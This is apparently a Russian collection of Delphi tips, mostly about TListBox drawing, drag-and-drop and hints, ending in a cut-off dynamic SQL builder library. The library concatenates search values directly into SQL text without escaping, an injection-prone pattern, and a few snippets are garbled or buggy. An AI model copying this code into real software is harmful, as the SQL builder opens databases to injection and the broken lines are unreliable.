   FileHandle := FindFirstFile('AnyFile.FIL', FindData);
   if FileHandle <> INVALID_HANDLE_VALUE then
   begin
     Windows.FindClose(Handle);
     if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
     begin
       FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
       FileTimeToDosDateTime(LocalFileTime,
         LongRec(DosFileTime).Hi, LongRec(DosFileTime).Lo);
       LastAccessedTime := FileDateToDateTime(DosFileTime);
       Label1.Caption := DateTimeToStr(LastAccessedTime);
     end;
   end;
 end;
 




Как отловить изменение раскладки клавиатуры

Автор: Александр

Клавиатура Калашникова: Del-Del-Del-Del-.....

Нужно ловить сообщение WM_INPUTLANGCHANGEREQUEST

или


 procedure TForm1.Timer1Timer(Sender: TObject);
 var
   Layout: array [0.. KL_NAMELENGTH] of char;
 begin
   GetKeyboardLayoutName(Layout);
   if Layout = '00000409' then
     label1.caption:='en'
   else
     label1.caption:='ru';
 end;
 




Выравнивание в ListBox

Перед тем, как вычислить позицию фразы, необходимо с помощью функции TextWidth вычислить ее ширину.


 var
   J, TempInt, LongPrefixLen, CurrPrefixLen: Integer;
 begin
   {Вычисляем TextWidth по ключевой строке}
   {Устанавливаем CurrPrefixLen в TextWidth ключевого слова
   строки Indexth}
   LongPrefixLen := 0;
   for J := 0 to ListBox1.Items.Count - 1 do
     with ListBox1.Canvas do
     begin
       TempInt := TextWidth(Copy(Items[J], 1, Pos(KeyString, Items[J] - 1)));
       if LongPrefixLen < TempInt then
         LongPrefixLen := TempInt;
       if J = Index then
         CurrPrefixLen := TempInt;
     end;
   {PrevTextLeft - TextLeft = Где мы хотим вывести новый элемент}
   TextOut(LongPrefixLen - CurrPrefixLen, Y, Items[I]);
 end;
 




Внешние данные и ListBox

Автор: Peter Below

Мне необходимо создать Listbox с использованием внешних данных, хранимых в огромном (!) TStringList. Существует ли какое-нибудь системное сообщение, которое я мог бы перехватывать для получения данных Listbox из внешнего TStringlist?

Просматривая справочник по API, я нашел интересный пункт, который может помочь вам решить проблему: в Win32 вы можете создать Listbox со стилем LBS_NODATA:

(из описания CreateWindow:)

LBS_NODATA

Определяет ListBox со стилем no-data (без данных). Данный стиль необходимо применять в случае, если количество элементов в ListBox превышает одну тысячу. no-data ListBox также должен иметь стиль LBS_OWNERDRAWFIXED, но не может иметь стиль LBS_SORT или LBS_HASSTRINGS.

no-data ListBox похож на owner-drawn ListBox за исключением того, что он не содержит в своих элементах строк и изображений (иконок). Команды добавления, вставки или удаления данных в элементах такого типа ListBox будут проигнорированы, а запросы для поиска строк всегда будут заканчиваться неудачей. При необходимости отрисовки данного элемента, Windows посылает родительскому окну сообщение WM_DRAWITEM. Член itemID стуктуры DRAWITEMSTRUCT, передаваемой с сообщением WM_DRAWITEM, определяет номер строки (элемент), который должен быть перерисован. no-data ListBox не посылает сообщение WM_DELETEITEM.

Количество элементов в таком списке вы можете установить с помощью сообщения LB_SETCOUNT. Это позволит вам создать "виртуальный" ListBox с очень небольшой загрузкой.

Чтобы воспользоваться новым стилем, вам нужно создать новый класс-наследник от TListbox и перекрыть метод CreateParams.




Быстрая отрисовка BitMap в компоненте TListBox

Эту задачу можно решить разными способами, но в случае, когда изображение в списке должно меняться в зависимости от каких-то условий в режиме run-time, то встает вопрос о скорости перерисовки при скроллировании списка. Вот одно из возможных решений: создается компонент TImageList, который содержит весь необходимый набор изображений. И на событие TListBox.onDrawItem непосредственно на канве списка рисуется нужный BitMap самим TImageList. Метод TImageList.Draw работает очень быстро, так что при скролировании списка в несколько сотен записей замедление не заметно.

Примечание: В данном примере IMAGE_NORMAL, IMAGE_MESSAGE и IMAGE_AUTOANS константы, определяющие какое именно изображение надо рисовать в зависимости от значения функции (собственной) GetUserStatus.


 procedure TMain.UserListDrawItem(Control: TWinControl; Index: Integer;
   Rect: TRect; State: TOwnerDrawState);
 begin
   with TCustomListBox(Control) do
   begin
     Canvas.FillRect(Rect);
 
     // Вывод самого текста текущего Item-а списка со сдвигом, чтобы освободить
     // место для изображения
     Canvas.TextOut(Rect.Left + 2 + ImageList.Height, Rect.Top + 3,
       Items[Index]);
 
     Rect.Bottom := Rect.Top + ImageList.Height; // перерисовывать только
     Rect.Right := Rect.Left + ImageList.Width; // часть , на которой картинка
     Rect.Top := Rect.Top + 2;
 
     // по состоянию юзера перерисовывается изображение
     case GetUserStatus(Index) of
       suNormal: ImageList.Draw(Canvas, Rect.Left, Rect.Top, IMAGE_NORMAL);
       suMessage: ImageList.Draw(Canvas, Rect.Left, Rect.Top, IMAGE_MESSAGE);
       suAutoans: ImageList.Draw(Canvas, Rect.Left, Rect.Top, IMAGE_AUTOANS);
     end; // Case
   end; // With
 end;
 




Как показать Hint для частично видимых элементов ListBox


 procedure TForm1.ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
   Y: Integer);
 const
   oldidx : Longint = -1;
 var
   idx : Longint;
 begin
   with Sender as TListBox do begin
     idx := ItemAtPos(Point(x,y),True);
     if (idx < 0) or (idx = oldidx) then Exit;
     Application.ProcessMessages;
     Application.CancelHint;
     oldidx := idx;
     Hint := '';
     if Canvas.TextWidth(Items[idx]) > Width - 4 then Hint:=Items[idx];
   end;
 end;
 

или


 procedure TfmDWMain.lbSearchMouseMove(Sender: TObject; Shift: TShiftState; X,
   Y: Integer);
 var
   ItemNum: Integer;
 begin
   ItemNum := lbSearch.ItemAtPos(Point(X, Y), True);
   if (ItemNum <> HintRow) then
   begin
     HintRow := ItemNum;
     Application.CancelHint;
     if HintRow > -1 then
     begin
       HintString := lbSearch.Items[ItemNum];
       if (lbSearch.Canvas.TextWidth(HintString) <= lbSearch.ClientWidth - 25) then
         HintString := '';
     end
     else
       HintString := '';
   end;
 end;
 
 procedure TfmDWMain.OnShowHint(var HintStr: string;
   var CanShow: Boolean; var HintInfo: THintInfo);
 begin
   if not (HintInfo.HintControl is TListBox) then Exit;
   with HintInfo.HintControl as TListBox do begin
     HintInfo.HintPos := lbSearch.ClientToScreen(Point(21,
       lbSearch.ItemRect(HintRow).Top + 1));
     HintStr := HintString;
   end;
 end;
 




Изменение позиций элементов ListBox с помощью Drag and Drop


 procedure TForm1.ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);
 begin
   with (Sender as TListBox) do
     Items.Move(ItemIndex,ItemAtPos(Point(x,y),True));
 end;
 
 procedure TForm1.ListBox1DragOver(Sender, Source: TObject; X, Y: Integer;
 State: TDragState; var Accept: Boolean);
 begin
   Accept := (Sender=Source);
 end;
 

Не забудьте в ListBox присвоить свойству DragMode значение dmAutomatic.




Изменение позиций элементов ListBox с помощью Drag and Drop 2

Автор: Nick Hodges (Monterey, CA)

Я хотел бы изменить порядок следования элементов в неотсортированном списке ListBox методом drag&drop, т.е. просто перетаскивая их мышью на нужное место. Будет еще лучше, если при удержании кнопки мыши перетаскиваемый элемент визуально перемещал бы вверх или вниз сам список (для определения своего нового месторасположения) до тех пор, пока клавиша мыши не будет отпущена (как я понял, автоматическое скроллирование - В.О.).

Попробуйте для начала это:


 unit Draglb;
 
 interface
 
 uses
   SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
   Forms, Dialogs, StdCtrls;
 
 type
   TDragListBox = class(TListBox)
   private
     { Private declarations }
   protected
     { Protected declarations }
   public
     { Public declarations }
     procedure DragOver(Sender, Source: TObject; X, Y: Integer; State:
       TDragState; var Accept: Boolean);
     procedure DragDrop(Sender, Source: TObject; X, Y: Integer);
     constructor Create(AOwner: TComponent); override;
     { Published declarations }
   end;
 
 procedure Register;
 
 implementation
 
 procedure Register;
 begin
   RegisterComponents('Custom', [TDragListBox]);
 end;
 
 constructor TDragListBox.Create(AOwner: TComponent);
 begin
   inherited Create(AOwner);
   DragMode := dmAutomatic;
   OnDragDrop := DragDrop;
   OnDragOver := DragOver;
 end;
 
 procedure TDragListBox.DragOver(Sender, Source: TObject; X, Y: Integer;
   State: TDragState; var Accept: Boolean);
 begin
   Accept := Source = Self;
 end;
 
 procedure TDragListBox.DragDrop(Sender, Source: TObject; X, Y: Integer);
 var
   Value: Integer;
 begin
   if Sender = Self then
   begin
     Value := Self.ItemAtPos(Point(x, y), True);
 
     if Value = -1 then
     begin
       Self.Items.Add(Self.Items[Self.ItemIndex]);
       Self.Items.Delete(Self.ItemIndex);
     end
     else
     begin
       Self.Items.Insert(Value {+ 1}, Self.Items[Self.ItemIndex]);
       Self.Items.Delete(Self.ItemIndex);
     end;
   end;
 end;
 
 end.
 

Чтобы заставить элемент перемещаться в позицию каждого элемента, вам необходимо сопоставлять область текущего элемента с текущим положения курсора мыши. Для организации автоматического скроллирования также необходимо вычислять текущие координаты курсора.




Изменение позиций элементов ListBox с помощью Drag and Drop 3

Если вы хотите принимать перетаскиваемый объект, только если он представляет собой собственный элемент, то в обработчике OnDragOver вставьте строчку "Accept := Source=Sender;". Ниже приведен код, позволяющий сортировать элементы с помощью перетаскивания их мышкой внутри списка компонента. Вам также понадобится таймер для обеспечения функции автопрокручивания. Это означает, что при перетаскивании элемента в верхнюю часть списка, он при необходимости прокручивается вниз, дабы стали видны невидимые в верхней части списка элементы. Если вам не нужно такое поведение компонента, исключите из кода все строчки, имеющие отношение к таймеру, включая вторую строчку в обработчике события OnDragOver.


 ...
 private
   { Private declarations }
   GoingUp: Boolean;
 
 procedure TForm1.ListBox1DragOver(Sender, Source: TObject;
   X, Y: Integer; State: TDragState; var Accept: Boolean);
 begin
   Accept := (Sender = Source) and
     (TListBox(Sender).ItemAtPos(Point(X, Y), False) >= 0);
   {устанавливаем таймер для автопрокрутки}
   if Accept then
     with Sender as TListBox do
       if Y > Height - ItemHeight then
       begin
         GoingUp := False;
         Timer1.Enabled := True;
       end
       else if Y > ItemHeight then
       begin
         GoingUp := True;
         Timer1.Enabled := True;
       end
       else
         Timer1.Enabled := False;
 end;
 
 procedure TForm1.ListBox1DragDrop(Sender, Source: TObject;
   X, Y: Integer);
 var
   NuPos: Integer;
 begin
   with Sender as TListBox do
   begin
     NuPos := ItemAtPos(Point(X, Y), False);
     if NuPos >= Items.Count then
       Dec(NuPos);
     Label1.Caption := Format('Перемещено из %d в %d',
       [ItemIndex, NuPos]);
     Items.Move(ItemIndex, NuPos);
     {выделяем перемещенный элемент}
     ItemIndex := NuPos;
   end;
 end;
 
 procedure TForm1.Timer1Timer(Sender: TObject);
 begin
   with ListBox1 do
     if GoingUp then
       if TopIndex > 0 then
         TopIndex := TopIndex - 1
       else
         Timer1.Enabled := False
     else if TopIndex < Items.Count - 1 then
       TopIndex := TopIndex + 1
     else
       Timer1.Enabled := False;
 end;
 
 procedure TForm1.ListBox1EndDrag(Sender, Target: TObject;
   X, Y: Integer);
 begin
   Timer1.Enabled := False;
 end;
 




Изменение позиций элементов ListBox с помощью Drag and Drop 2

Автор: Peter Donnelly

Вот еще одна вариация сабжа.


 procedure TPickParty.PickListBMouseDown(Sender: TObject;
   Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
 begin
   if Button = mbLeft then
     with Sender as TListBox do
     begin
       DraggedPM := ItemAtPos(Point(X, Y), True);
       if DraggedPM > l;
       = 0 then
         BeginDrag(False);
     end;
 end;
 
 procedure TPickParty.PickListBDragOver(Sender, Source: TObject; X,
   Y: Integer; State: TDragState; var Accept: Boolean);
 begin
   if Source = PickListB then
     Accept := True;
 end;
 
 procedure TPickParty.PickListBDragDrop(Sender, Source: TObject; X, Y: Integer);
 var
   NewIndex: integer;
 begin
   NewIndex := PickListB.ItemAtPos(Point(X, Y), False);
   if NewIndex > PickListB.Items.Count - 1 then
     NewIndex := PickListB.Items.Count - 1;
   PickListB.Items.Move(DraggedPM, NewIndex);
   PickListB.ItemIndex := NewIndex;
 end;
 




Проверка ситуации Выход За Границы Списка при нажатии правой кнопки на списке

При нажатии правой кнопки на компоненте TListBox вызывается PopUpMenu, но все пункты этого меню должны быть применены к тому элементу в списке, на котором и была нажата кнопка. Этот элемент может не быть в данный момент текущим ( то есть выделенным) и вообще, правая кнопка может быть нажата на той части компоненты, где реальный список уже закончился. Данная задача может быть решена следующим образом:

Обрабатывается событие TListBox.onMouseDown


 procedure TMain.UserListMouseDown(Sender: TObject; Button: TMouseButton;
   Shift: TShiftState; X, Y: Integer);
 var
   Point: TPoint;
   I: Integer;
 const
   NoHit = -1;
 begin
   if Button = mbRight then
   begin
     // Если нажата правая кнопка мыши, выяснить, не попал ли курсор
     // на элемент списка UserList
     Point.X := x;
     Point.Y := y;
     I := UserList.ItemAtPos(Point, True);
     if not (i = NoHit) then
     begin
       // курсор попал на элемент списка с номером i
       // принудительно назначаем его текущим, т.е. отмеченным
       UserList.ItemIndex := I;
       TListBox(Sender).PopUpMenu.AutoPopup := True;
     end
     else // курсор промахнулся , нет смысла активизировать меню
       TListBox(Sender).PopUpMenu.AutoPopup := False;
   end;
 end;
 




Пример OwnerDraw для Listbox

Автор: Neil

Вот пример обработчика OnDrawItem, выводящий английские гласные в красном цвете:


 procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
   Rect: TRect; State: TOwnerDrawState);
 var
   S: string;
   N: Word;
   WasColor: TColor;
 begin
   with Control as TListBox, Canvas do
   begin
     S := Items[Index];
     FillRect(Rect);
     MoveTo(Rect.Left + 2, Rect.Top);
     SetTextAlign(Canvas.Handle, TA_LEFT or TA_UPDATECP);
     WasColor := Font.Color;
     for N := 1 to Length(S) do
     begin
       case UpCase(S[N]) of
         'A', 'E', 'I', 'O', 'U': Font.Color := clRed;
       else
         Font.Color := WasColor;
       end;
       WinProcs.TextOut(Canvas.Handle, 0, 0, @S[N], 1);
     end;
   end;
 end;
 

Обратите внимание на то, что для того, чтобы использовать стиль TA_UPDATECP (при котором каждый следующий вызов TextOut выводил текст в позиции, расположенной после предшествуюшей), необходимо использовать функцию API function TextOut (WinProcs.TextOut) вместо метода объекта Delphi Canvas TextOut.




Выровнять текст в TListBox вправо


 procedure TForm1.FormCreate(Sender: TObject);
 begin
   // Oder im Objektinspektor einstellen 
   // Or set in object inspector 
   ListBox1.Style := lbOwnerDrawFixed;
 end;
 
 procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
   Rect: TRect; State: TOwnerDrawState);
 var
   l: Integer;
   t: String;
 begin
   with ListBox1 do
   begin
     Canvas.FillRect(Rect);
     t := Items[Index];
     l := Rect.Right - Canvas.TextWidth(t) - 1;
     Canvas.TextOut(l, Rect.Top, t);
   end;
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ListBox1.Items.Add(Edit1.Text);
 end;
 




Навигация по выбранным элементам в ListBox

Данный пример выводит сообщение для каждого элемента Listbox, выбранного пользователем.


 procedure TForm1.Button1Click(Sender: TObject);
 var
   Loop: Integer;
 begin
   for Loop := 0 to Listbox1.Items.Count - 1 do
     if Listbox1.Selected[Loop] then
       ShowMessage(Listbox1.Items.Strings[Loop]);
 end;
 




ListBox с графикой

Вот пример кода. Вам необходимо установить свойство ListBox Style в lbOwnerDrawFixed. Затем в обработчике события DrawItem мы попытаемся нарисовать изображение (смотри описание события OwnerDraw в справке по Delphi).


 unit Listemas;
 
 interface
 
 uses
 
   SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
   Forms, Dialogs, StdCtrls;
 
 type
 
   TLTemas = class(TForm)
     ListBox1: TListBox;
     procedure FormActivate(Sender: TObject);
     procedure ListBox1DrawItem(Control: TWinControl; Index: Integer;
       Rect: TRect; State: TOwnerDrawState);
   private
     { Private declarations }
   public
     { Public declarations }
   end;
 
 var
 
   LTemas: TLTemas;
 
 implementation
 
 {$R *.DFM}
 
 procedure TLTemas.FormActivate(Sender: TObject);
 var
 
   Dibujo: TIcon;
 begin
 
   with ListBox1.Items do
   begin
     Dibujo := TIcon.create;
     Dibujo.LoadFromFile('D:\Delphi\Projects\Delphi5\DelphiWorld\base\images\ico.ico');
     AddObject('Delphi World - программа для всех', Dibujo);
     Dibujo := TIcon.create;
     Dibujo.LoadFromFile('D:\Delphi\Projects\Delphi5\DelphiWorld\base\images\ico.ico');
     AddObject('Delphi World - самый большой сборник', Dibujo);
   end;
 end;
 
 procedure TLTemas.ListBox1DrawItem(Control: TWinControl; Index: Integer;
 
   Rect: TRect; State: TOwnerDrawState);
 var
 
   Icon: TIcon;
   Offset: Integer; { ширина отступа текста }
 begin
 
   with (Control as TListBox).Canvas do
     { рисуем на холсте элемента управления, не на форме }
   begin
     FillRect(Rect); { очищаем прямоугольник }
     Offset := 2; { обеспечиваем отступ по умолчанию }
     Icon := TIcon((Control as TListBox).Items.Objects[Index]);
       { получаем иконку для данного элемента }
     if Icon <> nil then
     begin
       Draw(Rect.Left + 1, Rect.Top + 2, TIcon((Control as
         TListBox).Items.Objects[Index]));
 
       Offset := Icon.width + 9;
         { добавляем четыре пикселя между иконкой и текстом }
     end;
     TextOut(Rect.Left + Offset, Rect.Top + 7, (Control as TListBox).Items[Index])
       { выводим текст }
   end;
 end;
 
 end.
 

Воспользуйтесь событием OnDrawItem объекта ListBox (или ComboBox, или др.). В его обработчике рисовать графику так же легко, как и писать текст. (Полное управление вы получите после того, как подключите к своей работе обработку события OnMeasureItem)


 procedure ListDrawItem(Control: TWinControl; Index:
   Integer; Rect: TRect; State: TOwnerDrawState);
 var
   BitMap: TBitMap;
 begin
   {Здесь инициализируем Bitmap.... например, загружаем в него изображение}
   with (Control as TListBox).Canvas do
   begin
     FillRect(Rect);
     Draw(Rect.Left, Rect.Top, BitMap);
     TextOut(Rect.Left + 2 + BitMap.Width, Rect.Top,
       DstList.items.strings[index]); {DstList - имя списка}
   end;
 end;
 




Включение табуляторов в Listbox


 unit TabsLBox;
 {включение табуляторов в listbox}
 interface
 
 uses WinTypes, Classes, Controls, StdCtrls;
 
 type
   TMyListBox = class(TListBox)
 
   protected
     procedure CreateParams(var Params: TCreateParams); override;
   end;
 
 procedure register;
 
 implementation
 
 procedure register;
 begin
   RegisterComponents('Samples', [TMyListBox]);
 end;
 
 procedure TMyListBox.CreateParams(var Params: TCreateParams);
 begin
   inherited CreateParams(Params);
   Params.Style := Params.Style or LBS_USETABSTOPS;
 end;
 
 end.
 




Как перевести в 16-ричный код букву

По утверждению ряда программистов, Гарри Каспаров во время недавней игры с шахматным компьютером использовал секретный код, давший его королю бессмертие.


 var
   Str: Char;
 begin
   Str := 'В';
   Form1.Caption := Format('%x', [Ord(Str)]);
 end;
 




Библиотека для создания динамических SQL скриптов

Автор: Подкопаев Владимир

Библиотека для организации поисковой системы в произвольной БД с помощью динамических SQL запросов.

Описание:

Результатом работы функции:


 Search_out(_путь : string): TConrolSearch;
 

является создание файла с формированным SQL запросом, который в последствии используется компонентов TQuery.

Функция возвращает значение - код ошибки при формировании запроса. Если 0, то запрос сформирован удачно, в противном случае формируется код ошибки (например 1, если послан нулевой запрос). Ошибки младших байтов от 0..4 не являются критическими в плане неправильного формирования запроса. Старшие байты от 5..8 вызывают критические ошибки (TSQL не может выполнить запрос).

Перед вызовом функции, необходимо задать параметры объекта для формирования файла sql запроса.

Описание переменыых объекта Param_:

table_count
кол-во используемых таблиц
tables[1]...tables[table_count]
список используемых таблиц

Например:


 tables_count := 2;
 tables[1] := 'uchet';
 tables[2] := 'ispol';
 

Param_.Count
количество параметров поиска
.Refernce[i], где 0<i<=Param_.Count
определяет к какой таблице ссылается параметр.

Например (2 таблицы, 9 параметров):


 Param_.Count := 9;
 if (UchetCheck.Checked = true) and (IspolCheck.Checked = true) then
 begin
   tables_count := 2;
   tables[1] := 'uchet';
   tables[2] := 'ispol';
   Param_.Reference[1] := 1;
   Param_.Reference[2] := 1;
   Param_.Reference[3] := 1;
   Param_.Reference[4] := 2;
   Param_.Reference[5] := 1;
   Param_.Reference[6] := 1;
   Param_.Reference[8] := 2;
   Param_.Reference[9] := 2;
 end;
 

.Field_Name[i] : String, 0<i<=Param_.Count
список полей таблиц, связанных с параметрами поиска
.param_type[i] : PType, 0<i<=Param_.Count
тип параметра ('S' - строка, 'D' -дата, 'C' - словарь, 'N' - числовой)
.Inverse[i] : EqType : boolean
определяет использование '=' или '!=' с данным параметром (кроме типов 'C' и 'N')
.Equality[i] : EqType : boolean
определяет полное или частичное совпадение параметра поиска (только для типа 'S')
.param_value[i] : StrArr
определяет значения параметров
.param_name : string
текущее значение параметра
.NumEq : ETL (:EqTypeList)
определяет использование знака '=', '>', '<' вместе с типом 'N'
Процедура Clear_Search
очищает значения param_value в диапазоне от 1..50, рекомендуется использовать для очистки старых параметров поиска перед заданием новых параметров. По умолчанию процедура включена в основную функцию search_out.
Функция Param_Set
используется для установки параметров кретерия поиска.
c_d = 'C'
создать таблицу, 'D', удалить таблицу, 'N' - не создавать таблицу

 unit Search_engine;
 
 interface
 
 const
   err0 = 'Search_out';
   eq = '=';
   min = '<';
   max = '>';
   eq_min = '=<';
   eq_max = '>=';
   min_max = '!=';
 
 
   SEL = 'SELECT';
   FROM = 'FROM ';
   U = '''';
   C = ',';
   C_ = '.';
   P = ' :PARAM_';
   L = ' LIKE ';
   A = ' AND ';
   PP = '+';
   PR = '%';
   BTW = ' BETWEEN ';
   N = ' !';
   UP = 'upper';
   ORD_ = 'ORDER BY ';
 
   type PTypeList = 'A'..'Z';
   type TFieldList = array [1..50] of string;
   type EqTypeList = string[2];
   type TControlSearch = record
   SetByte: byte;
   GetByteString: array [0..7] of string;
 end;
 
 type StrArr = array [1..50] of string[30];
   RefArr = array [1..50] of integer;
   PType = array [1..50] of PTypeList; // 'S' - string, 'D' - dateTime, 'N' - numeric, 'C' - vocabulary
   EqType = array [1..50] of boolean;
   TOrder = array [1..50] of integer;
   ETL = array [1..50] of string[2];
   Param = object
   param_value : StrArr;
   Field_Name : StrArr;
   Reference : RefArr;
   Count : integer;
   param_name : string;
   param_type : PType;
   Equality : EqType;
   Inverse : EqType; //Working only if Equality[i] = true
   NumEq : ETL;
   Order : TOrder;
 end;
 
 type Param_Result_ = object
   param_value : StrArr;
   Field_Name : StrArr;
   Reference : RefArr;
   Count : integer;
   param_name : string;
   param_type : PType;
   Equality : EqType;
   Inverse : EqType;
   NumEq : ETL;
   Order : TOrder;
 end;
 
 
 var
   search_param_count, tables_count: integer;
 
   Sql_File : Text;
   tables : StrArr;
   Param_ : Param;
   Param_Result : Param_Result_;
   ListField : TFieldList;
   ListFieldCount : integer;
   path_ : string;
 
 procedure Clear_Search;
 procedure SetOrder(o : integer;str : string);
 function Search_out(path : string) : TControlSearch;
 function Param_Set(NumParam: integer; FieldName: string; Ref: integer;
   Equal: boolean; P_Type: char; P_Value: variant): TControlSearch;
 
 implementation
 
 uses
   SysUtils;
 
 procedure Clear_Search;
 var
   k: integer;
 begin
   for k := 1 to 50 do
     Param_.param_value[k] := '';
 end;
 
 function Search_out(path: string): TControlSearch;
 
 //Error Section
 const
   err1 = 'ZeroCtrlString';
 
 var
   first_str : string;
   i : integer;
   table_str : string;
   Result_param : StrArr;
   CtrlString : string;
   SELECT,
   TMP_SELECT : string;
   FieldCount : integer;
   f_type : string;
 
 begin
 
   i := 0;
   Param_Result.Count := 0;
   if ListFieldCount = 0 then
     SELECT := 'SELECT* FROM '
   else
   begin
     SELECT := SEL;
     TMP_SELECT := '';
     for FieldCount := 1 to ListFieldCount do
     begin
       if FieldCount = ListFieldCount then
       begin
         TMP_SELECT := TMP_SELECT + ' ' + ListField[FieldCount];
         break;
       end;
       TMP_SELECT := TMP_SELECT + ' ' + ListField[FieldCount] + C;
     end;
     SELECT := SELECT + ' ' + TMP_SELECT + ' ' + FROM;
   end;
   repeat
     inc(i);
     if Param_.param_value[i] <> '' then
     begin
       inc(Param_Result.Count);
       Param_Result.param_value[Param_Result.Count] := Param_.param_value[i];
       CtrlString := CtrlString + Param_.param_value[i];
       Param_Result.Field_Name[Param_Result.Count] := Param_.Field_Name[i];
       Param_Result.Reference[Param_Result.Count] := Param_.Reference[i];
       Param_Result.Param_type[Param_Result.Count] := Param_.Param_type[i];
       Param_Result.Equality[Param_Result.Count] := Param_.Equality[i];
       Param_Result.Inverse[Param_Result.Count] := Param_.Inverse[i];
       Param_Result.NumEq[Param_Result.Count] := Param_.NumEq[i];
     end;
   until
     i = Param_.Count;
 
   // 1 BIT ERROR CHECK
 
   if CtrlString = '' then
   begin
     Search_out.SetByte := 1;
     Search_out.GetByteString[1] := Err0 + C_ + Err1;
     AssignFile(Sql_File,path);
     Rewrite(Sql_File);
     writeln(Sql_File,SELECT+tables[1]);
     CloseFile(Sql_file);
     exit;
   end
   else
   begin
     Search_out.SetByte := 0;
     Search_out.GetByteString[0] := '';
   end;
 
   i := 0;
   AssignFile(Sql_File,path);
   path_ := path;
   Rewrite(Sql_File);
 
   if tables_count > 1 then
   begin
     while i <> tables_count do
     begin
       inc(i);
       if i = tables_count then
         first_str := first_str + tables[i]
       else
         first_str := first_str + tables[i] + C;
     end; //WHILE
   end
   else
     first_str := tables[1];
 
 
   first_str := SELECT + first_str;
   writeln(Sql_File,first_str);
   writeln(Sql_File,'WHERE');
   i := 0;
   {!MAIN REPEAT!}
   repeat
     inc(i);
     table_str := tables[param_Result.Reference[i]];
     Param_Result.param_name := Param_Result.param_value[i];
 
     //СТРОКОВЫЙ ТИП
 
     if (Param_Result.param_type[i] = 'S') then
       if i < Param_Result.Count then
       begin
         if Param_Result.Equality[i] = false then
           writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
           L + UP +'(' + U + Param_Result.param_name + PR + U +')' + A)
         else
         if Param_Result.Inverse[i] = false then
           writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
           '='+U+ Param_Result.param_name+U+A)
         else
           writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
           N+'='+U+ Param_Result.param_name+U+A);
       end
       else
       begin
         if Param_Result.Equality[i] = false then
           writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
           L + UP + '(' + U + Param_Result.param_name + PR + U + ')')
         else
         if Param_Result.Inverse[i] = false then
           writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
           '='+U+ Param_Result.param_name+U)
         else
           writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
           N+'='+U+ Param_Result.param_name+U);
       end;
 
     // ТИП ДАТА
 
     if (Param_Result.param_type[i] = 'D') then
     begin
       if i + 1 < Param_Result.Count then
       begin
         if (Param_Result.param_type[i+1] = 'D') and
         (Param_Result.Reference[i] = Param_Result.Reference[i + 1]) then
         begin
           writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
           + BTW + U+Param_Result.param_name +U+ ' ' + A +U +
           Param_Result.param_value[i+1]+ U + ' '+ A);i := i + 1
         end
         else
           writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
           +'='+U+Param_Result.param_name +U+A);
       end;
 
       if (i + 1 = Param_Result.Count) and (Param_Result.param_type[i+1] <> 'D') then
       begin
         if (Param_Result.param_type[i+1] = 'D')
         and (Param_Result.Reference[i] = Param_Result.Reference[i + 1]) then
         begin
           writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
           + BTW + U+Param_Result.param_name +U+ ' ' + A +U +
           Param_Result.param_value[i+1]+ U + ' '+ A);i := i + 1
         end
         else
           writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
           +'='+U+Param_Result.param_name +U+A);
       end;
 
 
       if (i + 1 = Param_Result.Count) and (Param_Result.param_type[i+1] = 'D') then
       begin
         if (Param_Result.param_type[i+1] = 'D') and
         (Param_Result.Reference[i] = Param_Result.Reference[i + 1]) then
         begin
           writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
           + BTW + U+Param_Result.param_name +U+ ' ' + A +U +
           Param_Result.param_value[i+1]+ U + ' ');i := i + 1
         end
         else
           writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
           +'='+U+Param_Result.param_name +U);
       end;
     end;
 
     // ТИП СЛОВАРЬ
 
     if (Param_Result.param_type[i] = 'C') then
       if i < Param_Result.Count then
       begin
         if Param_Result.Equality[i] = false then
           writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
           L + Param_Result.param_name + PR + A)
         else
         if Param_Result.Inverse[i] = false then
           writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
           '='+ Param_Result.param_name+A)
         else
           writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
           N+'='+ Param_Result.param_name+A);
       end
       else
       begin
         if Param_Result.Equality[i] = false then
           writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
           L + Param_Result.param_name + PR )
         else
         if Param_Result.Inverse[i] = false then
           writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
           '='+ Param_Result.param_name)
         else
           writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
           N+'='+ Param_Result.param_name);
       end;
 
       // ТИП ЧИСЛОВОЕ ЗНАЧЕНИЕ
 
       if (Param_Result.param_type[i] = 'N') then
         if i < Param_Result.Count then
         begin
           if Param_Result.NumEq[i] = eq then
             writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
             eq + Param_Result.param_name + A);
           if Param_Result.NumEq[i] = min then
             writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
             min + Param_Result.param_name + A);
           if Param_Result.NumEq[i] = max then
             writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
             max + Param_Result.param_name + A);
           if Param_Result.NumEq[i] = eq_max then
             writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
             eq_max + Param_Result.param_name + A);
           if Param_Result.NumEq[i] = eq_min then
             writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
             eq_min + Param_Result.param_name + A);
           if Param_Result.NumEq[i] = min_max then
